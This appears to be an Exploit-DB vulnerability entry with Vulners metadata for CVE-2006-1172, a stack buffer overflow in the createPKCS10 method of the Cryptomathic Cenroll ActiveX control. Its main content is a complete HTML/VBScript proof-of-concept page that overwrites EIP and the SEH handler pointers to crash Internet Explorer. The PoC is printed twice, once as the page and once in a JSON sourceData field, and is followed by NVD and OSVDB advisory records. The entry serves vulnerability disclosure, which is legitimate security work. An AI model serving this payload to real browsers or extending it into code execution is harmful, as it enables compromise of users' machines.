Cryptomathic ActiveX Control Remote Buffer Overflow Vulnerability
2006-05-05T00:00:00
ID EDB-ID:27820 Type exploitdb Reporter Dennis Rand Modified 2006-05-05T00:00:00
Description
Cryptomathic ActiveX Control Remote Buffer Overflow Vulnerability. CVE-2006-1172. Remote exploit for windows platform
source: http://www.securityfocus.com/bid/17852/info
Cryptomathic ActiveX control is prone to a buffer-overflow vulnerability. The software fails to perform sufficient bounds-checking of user-supplied input before copying it to an insufficiently sized memory buffer.
Invoking the object from a malicious website or HTML email may trigger the condition. If the vulnerability were successfully exploited, this would corrupt process memory, resulting in arbitrary code execution. Arbitrary code would be executed in the context of the client application.
<html> <head> <title>CIRT.DK - Cryptomathic ActiveX Buffer Overflow</title> <IMG SRC="http://www.cirt.dk/images/logo.jpg"> </head> <body> <center> <h1>TDC Digital Signature ActiveX Buffer Overflow</h1> <h4> (c)2006 by Dennis Rand - CIRT.DK</h4> The following Proof-of-Concept will make Internet Explorer shutdown, if you are vulnerable.<br> </center> <br> <script>alert('Press "OK" to see if you are vulnerable')</script> <object classid='clsid:6DA9275C-64E5-42A1-879C-D90B5F0DC5B4' id='target' ></object> <script language='vbscript'> arg1 = String(8, "A") arg1 = arg1 + "ABCD" ' EIP is overwritten here arg1 = arg1 + String(64, "B") arg1 = arg1 + "AABB" ' Pointer to the next SEH Handler arg1 = arg1 + "BBAA" ' SE Handler arg1 = arg1 + String(700, "C") arg2 = "DefaultV" target.createPKCS10 arg1 ,arg2 </script> <script>alert('You are secure')</script> </body> </html>
{"id": "EDB-ID:27820", "hash": "48910ea3ce1a4b6e1e56d8724ac4e94b", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Cryptomathic ActiveX Control Remote Buffer Overflow Vulnerability", "description": "Cryptomathic ActiveX Control Remote Buffer Overflow Vulnerability. CVE-2006-1172. Remote exploit for windows platform", "published": "2006-05-05T00:00:00", "modified": "2006-05-05T00:00:00", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}, "href": "https://www.exploit-db.com/exploits/27820/", "reporter": "Dennis Rand", "references": [], "cvelist": ["CVE-2006-1172"], "lastseen": "2016-02-03T06:48:43", "history": [], "viewCount": 0, "enchantments": {"score": {"value": 8.5, "vector": "NONE", "modified": "2016-02-03T06:48:43"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2006-1172"]}, {"type": "osvdb", "idList": ["OSVDB:25282"]}], "modified": "2016-02-03T06:48:43"}, "vulnersScore": 8.5}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/27820/", "sourceData": "source: http://www.securityfocus.com/bid/17852/info\r\n\r\nCryptomathic ActiveX control is prone to a buffer-overflow vulnerability. The software fails to perform sufficient bounds-checking of user-supplied input before copying it to an insufficiently sized memory buffer.\r\n\r\nInvoking the object from a malicious website or HTML email may trigger the condition. If the vulnerability were successfully exploited, this would corrupt process memory, resulting in arbitrary code execution. Arbitrary code would be executed in the context of the client application.\r\n\r\n<html> <head> <title>CIRT.DK - Cryptomathic ActiveX Buffer Overflow</title> <IMG SRC=\"http://www.cirt.dk/images/logo.jpg\"> </head> <body> <center> <h1>TDC Digital Signature ActiveX Buffer Overflow</h1> <h4> (c)2006 by Dennis Rand - CIRT.DK</h4> The following Proof-of-Concept will make Internet Explorer shutdown, if you are vulnerable.<br> </center> <br> <script>alert('Press \"OK\" to see if you are vulnerable')</script> <object classid='clsid:6DA9275C-64E5-42A1-879C-D90B5F0DC5B4' id='target' ></object> <script language='vbscript'> arg1 = String(8, \"A\") arg1 = arg1 + \"ABCD\" ' EIP is overwritten here arg1 = arg1 + String(64, \"B\") arg1 = arg1 + \"AABB\"\t ' Pointer to the next SEH Handler arg1 = arg1 + \"BBAA\" ' SE Handler arg1 = arg1 + String(700, \"C\") arg2 = \"DefaultV\" target.createPKCS10 arg1 ,arg2 </script> <script>alert('You are secure')</script> </body> </html>", "osvdbidlist": ["25282"], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}
{"cve": [{"lastseen": "2019-05-29T18:08:31", "bulletinFamily": "NVD", "description": "Stack-based buffer overflow in the createPKCS10 function in Cryptomathic Cenroll ActiveX Control 1.1.0.0 allows remote attackers to execute arbitrary code via vectors related to the TDC Digital signature.", "modified": "2018-10-18T16:31:00", "id": "CVE-2006-1172", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1172", "published": "2006-05-09T10:02:00", "title": "CVE-2006-1172", "type": "cve", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}], "osvdb": [{"lastseen": "2017-04-28T13:20:22", "bulletinFamily": "software", "description": "## Vulnerability Description\nA remote overflow exists in Cenroll ActiveX Control. Cenroll ActiveX Control fails to perform proper bounds checking in the createPKCS10() method resulting in a stack-based buffer overflow. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of integrity.\n## Solution Description\nCurrently, there are no known workarounds or upgrades to correct this issue. However, the vendor has released a patch to address this vulnerability.\n## Short Description\nA remote overflow exists in Cenroll ActiveX Control. Cenroll ActiveX Control fails to perform proper bounds checking in the createPKCS10() method resulting in a stack-based buffer overflow. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of integrity.\n## References:\nVendor Specific Solution URL: https://opdatering.tdc.dk/\nSecurity Tracker: 1016034\n[Secunia Advisory ID:19968](https://secuniaresearch.flexerasoftware.com/advisories/19968/)\nOther Advisory URL: http://www.cirt.dk/advisories/cirt-43-advisory.pdf\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-05/0099.html\nISS X-Force ID: 26255\nFrSIRT Advisory: ADV-2006-1675\n[CVE-2006-1172](https://vulners.com/cve/CVE-2006-1172)\nBugtraq ID: 17852\n", "modified": "2006-05-05T07:47:38", "published": "2006-05-05T07:47:38", "href": "https://vulners.com/osvdb/OSVDB:25282", "id": "OSVDB:25282", "title": "Cryptomathic Cenroll ActiveX Control createPKCS10() Function Overflow", "type": "osvdb", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}}]}
